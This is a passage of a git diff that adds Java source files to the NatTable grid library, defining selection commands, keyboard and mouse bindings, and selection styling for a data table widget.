100644 index 0000000..7f54556 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/AbstractSelectionCommand.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.selection.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public abstract class AbstractSelectionCommand extends AbstractContextFreeCommand { + + private boolean shiftMask; + private boolean controlMask; + + public AbstractSelectionCommand(boolean shiftMask, boolean controlMask) { + this.shiftMask = shiftMask; + this.controlMask = controlMask; + } + + public boolean isShiftMask() { + return shiftMask; + } + + public boolean isControlMask() { + return controlMask; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/ClearAllSelectionsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/ClearAllSelectionsCommand.java new file mode 100644 index 0000000..51ffc1a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/ClearAllSelectionsCommand.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.selection.command; + +public class ClearAllSelectionsCommand extends AbstractSelectionCommand { + + public ClearAllSelectionsCommand() { + super(false, false); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/MoveSelectionCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/MoveSelectionCommand.java new file mode 100644 index 0000000..a17436c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/MoveSelectionCommand.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.selection.command; + +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +public class MoveSelectionCommand extends AbstractSelectionCommand { + + private final MoveDirectionEnum direction; + private final int stepSize; + + public MoveSelectionCommand(MoveDirectionEnum direction, boolean shiftMask, boolean controlMask) { + this(direction, 0, shiftMask, controlMask); + } + + public MoveSelectionCommand(MoveDirectionEnum direction, int stepSize, boolean shiftMask, boolean controlMask) { + super(shiftMask, controlMask); + this.direction = direction; + this.stepSize = stepSize; + } + + public MoveDirectionEnum getDirection() { + return direction; + } + + public int getStepSize() { + return stepSize; + } + + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/ScrollSelectionCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/ScrollSelectionCommand.java new file mode 100644 index 0000000..8683638 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/ScrollSelectionCommand.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.selection.command; + +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +public class ScrollSelectionCommand extends MoveSelectionCommand { + + public ScrollSelectionCommand(MoveDirectionEnum direction, boolean shiftMask, boolean controlMask) { + super(direction, shiftMask, controlMask); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectAllCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectAllCommand.java new file mode 100644 index 0000000..ee1c393 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectAllCommand.java @@ -0,0 +1,6 @@ +package net.sourceforge.nattable.selection.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class SelectAllCommand extends AbstractContextFreeCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectCellCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectCellCommand.java new file mode 100644 index 0000000..d1e330b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectCellCommand.java @@ -0,0 +1,53 @@ +package net.sourceforge.nattable.selection.command; + +import net.sourceforge.nattable.command.AbstractPositionCommand; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Event indicating that the user has selected a specific cell in the data grid. This command should be used for + * implementing all selection handling by layers. + * + * Note that this command takes a Grid PositionCoordinate describing a cell on the screen on which the user has + * clicked. Do not pass it anything else or you will introduce very subtle and very difficult to debug bugs into the + * code and then we will have to pay you a visit on one random Sunday morning when you least expect it. + */ +public class SelectCellCommand extends AbstractPositionCommand { + + private boolean shiftMask; + private boolean controlMask; + private boolean forcingEntireCellIntoViewport = false; + + public SelectCellCommand(ILayer layer, int columnPosition, int rowPosition, boolean shiftMask, boolean controlMask) { + super(layer, columnPosition, rowPosition); + this.shiftMask = shiftMask; + this.controlMask = controlMask; + } + + protected SelectCellCommand(SelectCellCommand command) { + super(command); + this.shiftMask = command.shiftMask; + this.controlMask = command.controlMask; + this.forcingEntireCellIntoViewport = command.forcingEntireCellIntoViewport; + } + + public boolean isShiftMask() { + return shiftMask; + } + + public boolean isControlMask() { + return controlMask; + } + + public boolean isForcingEntireCellIntoViewport() { + return forcingEntireCellIntoViewport; + } + + public void setForcingEntireCellIntoViewport(boolean forcingEntireCellIntoViewport) { + this.forcingEntireCellIntoViewport = forcingEntireCellIntoViewport; + } + + public SelectCellCommand cloneCommand() { + return new SelectCellCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectColumnCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectColumnCommand.java new file mode 100644 index 0000000..24a2100 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectColumnCommand.java @@ -0,0 +1,35 @@ +package net.sourceforge.nattable.selection.command; + +import net.sourceforge.nattable.command.AbstractPositionCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class SelectColumnCommand extends AbstractPositionCommand { + + private final boolean withShiftMask; + private final boolean withControlMask; + + public SelectColumnCommand(ILayer layer, int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask) { + super(layer, columnPosition, rowPosition); + this.withShiftMask = withShiftMask; + this.withControlMask = withControlMask; + } + + protected SelectColumnCommand(SelectColumnCommand command) { + super(command); + this.withShiftMask = command.withShiftMask; + this.withControlMask = command.withControlMask; + } + + public boolean isWithShiftMask() { + return withShiftMask; + } + + public boolean isWithControlMask() { + return withControlMask; + } + + public SelectColumnCommand cloneCommand() { + return new SelectColumnCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectRowsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectRowsCommand.java new file mode 100644 index 0000000..6f87df9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/command/SelectRowsCommand.java @@ -0,0 +1,55 @@ +package net.sourceforge.nattable.selection.command; + +import net.sourceforge.nattable.command.AbstractMultiRowCommand; +import net.sourceforge.nattable.command.LayerCommandUtil; +import net.sourceforge.nattable.coordinate.ColumnPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.util.ArrayUtil; + +public class SelectRowsCommand extends AbstractMultiRowCommand { + + private ColumnPositionCoordinate columnPositionCoordinate; + private final boolean withShiftMask; + private final boolean withControlMask; + + public SelectRowsCommand(ILayer layer, int columnPosition, int rowPosition, boolean withShiftMask, boolean withControlMask) { + this(layer, columnPosition, ArrayUtil.asIntArray(rowPosition), withShiftMask, withControlMask); + } + + public SelectRowsCommand(ILayer layer, int columnPosition, int[] rowPositions, boolean withShiftMask, boolean withControlMask) { + super(layer, rowPositions); + this.columnPositionCoordinate = new ColumnPositionCoordinate(layer, columnPosition); + this.withControlMask = withControlMask; + this.withShiftMask = withShiftMask; + } + + protected SelectRowsCommand(SelectRowsCommand command) { + super(command); + this.columnPositionCoordinate = command.columnPositionCoordinate; + this.withShiftMask = command.withShiftMask; + this.withControlMask = command.withControlMask; + } + + @Override + public boolean convertToTargetLayer(ILayer targetLayer) { + super.convertToTargetLayer(targetLayer); + this.columnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(columnPositionCoordinate, targetLayer); + return columnPositionCoordinate != null && columnPositionCoordinate.getColumnPosition() >= 0; + } + + public int getColumnPosition() { + return columnPositionCoordinate.getColumnPosition(); + } + + public boolean isWithShiftMask() { + return withShiftMask; + } + + public boolean isWithControlMask() { + return withControlMask; + } + + public SelectRowsCommand cloneCommand() { + return new SelectRowsCommand(this); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultMoveSelectionConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultMoveSelectionConfiguration.java new file mode 100644 index 0000000..65d7fd1 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultMoveSelectionConfiguration.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.selection.config; + +import net.sourceforge.nattable.config.AbstractLayerConfiguration; +import net.sourceforge.nattable.selection.MoveCellSelectionCommandHandler; +import net.sourceforge.nattable.selection.MoveRowSelectionCommandHandler; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +/** + * Configure the behavior when the selection is moved. Example: by using arrow keys.
    + * This default configuration moves by cell.
    + * + * {@link MoveSelectionCommand} are fired by the {@link DefaultSelectionBindings}.
    + * An suitable handler can be plugged in to handle the move commands as required.
    + * + * @see MoveRowSelectionCommandHandler + */ +public class DefaultMoveSelectionConfiguration extends AbstractLayerConfiguration{ + + @Override + public void configureTypedLayer(SelectionLayer layer) { + layer.registerCommandHandler(new MoveCellSelectionCommandHandler(layer)); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionBindings.java new file mode 100644 index 0000000..04a23c9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionBindings.java @@ -0,0 +1,176 @@ +package net.sourceforge.nattable.selection.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.copy.action.CopyDataAction; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.action.CellSelectionDragMode; +import net.sourceforge.nattable.selection.action.MoveSelectionAction; +import net.sourceforge.nattable.selection.action.MoveToFirstColumnAction; +import net.sourceforge.nattable.selection.action.MoveToFirstRowAction; +import net.sourceforge.nattable.selection.action.MoveToLastColumnAction; +import net.sourceforge.nattable.selection.action.MoveToLastRowAction; +import net.sourceforge.nattable.selection.action.PageDownAction; +import net.sourceforge.nattable.selection.action.PageUpAction; +import net.sourceforge.nattable.selection.action.SelectAllAction; +import net.sourceforge.nattable.selection.action.SelectCellAction; +import net.sourceforge.nattable.ui.action.IKeyAction; +import net.sourceforge.nattable.ui.action.IMouseAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.viewport.action.ViewportSelectColumnAction; +import net.sourceforge.nattable.viewport.action.ViewportSelectRowAction; + +import org.eclipse.swt.SWT; + +public class DefaultSelectionBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // Move up + configureMoveUpBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.UP)); + + // Move down + configureMoveDownBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.DOWN)); + + // Move left + configureMoveLeftBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.LEFT)); + + // Move right + configureMoveRightBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.RIGHT)); + + // Page Up + configurePageUpButtonBindings(uiBindingRegistry, new PageUpAction()); + + // Page down + configurePageDownButtonBindings(uiBindingRegistry, new PageDownAction()); + + // Home - Move to first column + configureHomeButtonBindings(uiBindingRegistry, new MoveToFirstColumnAction()); + + // End - Move to last column + configureEndButtonBindings(uiBindingRegistry, new MoveToLastColumnAction()); + + // Select all + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, 'a'), new SelectAllAction()); + + // Copy + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, 'c'), new CopyDataAction()); + + // Mouse bindings - select Cell + configureBodyMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - select columns + configureColumnHeaderMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - select rows + configureRowHeaderMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - Drag + configureBodyMouseDragMode(uiBindingRegistry); + } + + // *** pg. up, pg. down, home, end keys selection bindings *** + + protected void configureEndButtonBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.END), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.END), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.END), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.END), action); + } + + protected void configureHomeButtonBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.HOME), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.HOME), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.HOME), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.HOME), action); + } + + protected void configurePageDownButtonBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.PAGE_DOWN), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.PAGE_DOWN), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.PAGE_DOWN), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.PAGE_DOWN), action); + } + + protected void configurePageUpButtonBindings(UiBindingRegistry uiBindingRegistry, PageUpAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.PAGE_UP), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.PAGE_UP), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.PAGE_UP), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.PAGE_UP), action); + } + + // *** Arrow keys selection bindings *** + + protected void configureMoveRightBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_RIGHT), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.ARROW_RIGHT), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.ARROW_RIGHT), new MoveToLastColumnAction()); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.ARROW_RIGHT), new MoveToLastColumnAction()); + + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.TAB), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.TAB), action); + } + + protected void configureMoveLeftBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_LEFT), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.ARROW_LEFT), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.ARROW_LEFT), new MoveToFirstColumnAction()); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.ARROW_LEFT), new MoveToFirstColumnAction()); + + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.TAB), new MoveSelectionAction(MoveDirectionEnum.LEFT, false, false)); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.TAB), action); + } + + protected void configureMoveDownBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_DOWN), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.ARROW_DOWN), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.ARROW_DOWN), new MoveToLastRowAction()); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.ARROW_DOWN), new MoveToLastRowAction()); + + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.CR), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.CR), action); + } + + protected void configureMoveUpBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_UP), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.ARROW_UP), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.ARROW_UP), new MoveToFirstRowAction()); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.ARROW_UP), new MoveToFirstRowAction()); + + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT, SWT.CR), new MoveSelectionAction(MoveDirectionEnum.UP, false, false)); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.SHIFT | SWT.CONTROL, SWT.CR), action); + } + + // *** Mouse bindings *** + + protected void configureBodyMouseClickBindings(UiBindingRegistry uiBindingRegistry) { + IMouseAction action = new SelectCellAction(); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.NONE), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.CTRL), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | SWT.CONTROL), action); + } + + protected void configureColumnHeaderMouseClickBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.columnHeaderLeftClick(SWT.NONE), new ViewportSelectColumnAction(false, false)); + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.columnHeaderLeftClick(SWT.SHIFT), new ViewportSelectColumnAction(true, false)); + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.columnHeaderLeftClick(SWT.CONTROL), new ViewportSelectColumnAction(false, true)); + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.columnHeaderLeftClick(SWT.SHIFT | SWT.CONTROL), new ViewportSelectColumnAction(true, true)); + } + + protected void configureRowHeaderMouseClickBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.rowHeaderLeftClick(SWT.NONE), new ViewportSelectRowAction(false, false)); + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.rowHeaderLeftClick(SWT.SHIFT), new ViewportSelectRowAction(true, false)); + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.rowHeaderLeftClick(SWT.CONTROL), new ViewportSelectRowAction(false, true)); + uiBindingRegistry.registerSingleClickBinding(MouseEventMatcher.rowHeaderLeftClick(SWT.SHIFT | SWT.CONTROL), new ViewportSelectRowAction(true, true)); + } + + protected void configureBodyMouseDragMode(UiBindingRegistry uiBindingRegistry) { + CellSelectionDragMode dragMode = new CellSelectionDragMode(); + uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.NONE), dragMode); + uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), dragMode); + uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.CONTROL), dragMode); + uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | SWT.CONTROL), dragMode); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionLayerConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionLayerConfiguration.java new file mode 100644 index 0000000..f4d6456 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionLayerConfiguration.java @@ -0,0 +1,41 @@ +package net.sourceforge.nattable.selection.config; + +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.search.config.DefaultSearchBindings; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.tickupdate.config.DefaultTickUpdateConfiguration; + +/** + * Sets up default styling and UI bindings. Override the methods in here to + * customize behavior. Added by the {@link SelectionLayer} + */ +public class DefaultSelectionLayerConfiguration extends AggregateConfiguration { + + public DefaultSelectionLayerConfiguration() { + addSelectionStyleConfig(); + addSelectionUIBindings(); + addSearchUIBindings(); + addTickUpdateConfig(); + addMoveSelectionConfig(); + } + + protected void addSelectionStyleConfig() { + addConfiguration(new DefaultSelectionStyleConfiguration()); + } + + protected void addSelectionUIBindings() { + addConfiguration(new DefaultSelectionBindings()); + } + + protected void addSearchUIBindings() { + addConfiguration(new DefaultSearchBindings()); + } + + protected void addTickUpdateConfig() { + addConfiguration(new DefaultTickUpdateConfiguration()); + } + + protected void addMoveSelectionConfig() { + addConfiguration(new DefaultMoveSelectionConfiguration()); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionStyleConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionStyleConfiguration.java new file mode 100644 index 0000000..ec3fa53 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/DefaultSelectionStyleConfiguration.java @@ -0,0 +1,92 @@ +package net.sourceforge.nattable.selection.config; + +import net.sourceforge.nattable.config.AbstractRegistryConfiguration; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.style.BorderStyle; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.SelectionStyleLabels; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.style.BorderStyle.LineStyleEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; + +/** + * Sets up rendering style used for selected areas and the selection anchor. + */ +public class DefaultSelectionStyleConfiguration extends AbstractRegistryConfiguration { + + // Selection style + public Font selectionFont = GUIHelper.getFont(new FontData("Verdana", 8, SWT.BOLD | SWT.ITALIC)); + public Color selectionBgColor = GUIHelper.COLOR_TITLE_INACTIVE_BACKGROUND; + public Color selectionFgColor = GUIHelper.COLOR_BLACK; + + // Anchor style + public Color anchorBorderColor = GUIHelper.COLOR_DARK_GRAY; + public BorderStyle anchorBorderStyle = new BorderStyle(1, anchorBorderColor, LineStyleEnum.SOLID); + public Color anchorBgColor = GUIHelper.COLOR_GRAY; + public Color anchorFgColor = GUIHelper.COLOR_WHITE; + + // Selected headers style + public Color selectedHeaderBgColor = GUIHelper.COLOR_GRAY; + public Color selectedHeaderFgColor = GUIHelper.COLOR_WHITE; + public Font selectedHeaderFont = GUIHelper.getFont(new FontData("Verdana", 10, SWT.BOLD)); + public BorderStyle selectedHeaderBorderStyle = new BorderStyle(-1, selectedHeaderFgColor, LineStyleEnum.SOLID); + + public void configureRegistry(IConfigRegistry configRegistry) { + configureSelectionStyle(configRegistry); + configureSelectionAnchorStyle(configRegistry); + configureHeaderHasSelectionStyle(configRegistry); + configureHeaderFullySelectedStyle(configRegistry); + } + + protected void configureSelectionStyle(IConfigRegistry configRegistry) { + Style cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.FONT, selectionFont); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, selectionBgColor); + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, selectionFgColor); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.SELECT); + } + + protected void configureSelectionAnchorStyle(IConfigRegistry configRegistry) { + // Selection anchor style for normal display mode + Style cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, anchorBorderStyle); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.NORMAL, SelectionStyleLabels.SELECTION_ANCHOR_STYLE); + + // Selection anchor style for select display mode + cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, anchorBgColor); + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, anchorFgColor); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, anchorBorderStyle); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.SELECT, SelectionStyleLabels.SELECTION_ANCHOR_STYLE); + } + + protected void configureHeaderHasSelectionStyle(IConfigRegistry configRegistry) { + Style cellStyle = new Style(); + + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, selectedHeaderFgColor); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, selectedHeaderBgColor); + cellStyle.setAttributeValue(CellStyleAttributes.FONT, selectedHeaderFont); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, selectedHeaderBorderStyle); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.SELECT, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.SELECT, GridRegion.CORNER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.SELECT, GridRegion.ROW_HEADER); + } + + protected void configureHeaderFullySelectedStyle(IConfigRegistry configRegistry) { + // Header fully selected + Style cellStyle = new Style() {{ + setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, GUIHelper.COLOR_WIDGET_NORMAL_SHADOW); + }}; + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.SELECT, SelectionStyleLabels.COLUMN_FULLY_SELECTED_STYLE); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.SELECT, SelectionStyleLabels.ROW_FULLY_SELECTED_STYLE); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/RowOnlySelectionBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/RowOnlySelectionBindings.java new file mode 100644 index 0000000..218b401 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/selection/config/RowOnlySelectionBindings.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.selection.config; + +import net.sourceforge.nattable.selection.action.RowSelectionDragMode; +import net.sourceforge.nattable.selection.action.SelectRowAction; +import net.sourceforge.nattable.ui.action.IDragMode; +import net.sourceforge.nattable.ui.action.IMouseAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; + +public class RowOnlySelectionBindings extends DefaultSelectionBindings { + + @Override + protected void configureBodyMouseClickBindings(UiBindingRegistry uiBindingRegistry) { + IMouseAction action = new SelectRowAction(); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.NONE), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.CTRL), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | SWT.CONTROL), action); + } + + @Override + protected void configureBodyMouseDragMode(UiBindingRegistry uiBindingRegistry) { + IDragMode dragMode = new RowSelectionDragMode(); + uiBindingRegistry.registerFirstMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.NONE), dragMode); + uiBindingRegistry.registerFirstMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), dragMode); + uiBindingRegistry.registerFirstMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.CONTROL), dragMode); + uiBindingRegistry.registerFirstMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | SWT.CONTROL), dragMode); + } +} diff --git 